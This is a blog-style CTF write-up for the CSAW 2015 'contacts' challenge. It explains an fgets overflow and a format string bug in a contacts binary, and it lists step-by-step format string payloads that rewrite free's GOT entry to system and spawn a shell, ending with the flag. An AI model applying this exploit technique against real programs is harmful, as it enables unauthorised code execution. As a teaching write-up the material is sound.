Wednesday, September 23, 2015

CSAW CTF - Exploitables250 - contacts

This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
struct contact {
    char *description;
    char *phonenumber;
    char name[64];
    int desc_size;
    int inuse;
};
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
.text:08048A4E mov     edx, ds:stdin
.text:08048A54 mov     eax, [ebp+size]
.text:08048A57 mov     ecx, [ebp+contact]
.text:08048A5A add     ecx, 8
.text:08048A5D mov     [esp+8], edx    ; stream
.text:08048A61 mov     [esp+4], eax    ; n
.text:08048A65 mov     [esp], ecx      ; s
.text:08048A68 call    _fgets        
printf("New name: ");
fgets(contact->name, size, stdin);          
Next bug is a format string vulnerability in display contact feature:
is_inuse = contact->inuse;
if (is_inuse)
     PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);

int PrintDetails(char *name, int size, char *phonenumber, char *description)
{
  printf("\tName: %s\n", name);
  printf("\tLength %u\n", size);
  printf("\tPhone #: %s\n", phonenumber);
  printf("\tDescription: ");
  printf(description);                   
}
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.

Exploit details:

[*] Trigger info leak using format string
804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
GOT address of free = 0x0804b014
>>> 0xb014
45076
>>> 0x0804
2052

FRAME0EBP   FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'

FRAME0EBP-->FRAME1EBP+2   # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'

FRAME0EBP   FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT 
payload = '%.' + str(2052) + 'u%18$hn'
[*] Read the GOT entry of free, to leak libc address
payload = "%30$s"
[*] Then overwrite GOT of free with address to system
# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
Update GOT address in stack to point to MSB bytes
payload = '%.' + str(45078) + 'u%18$hn'
# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
[*] Create a contact with /bin/sh\x00 as description

[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")

Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}

No comments :

Post a Comment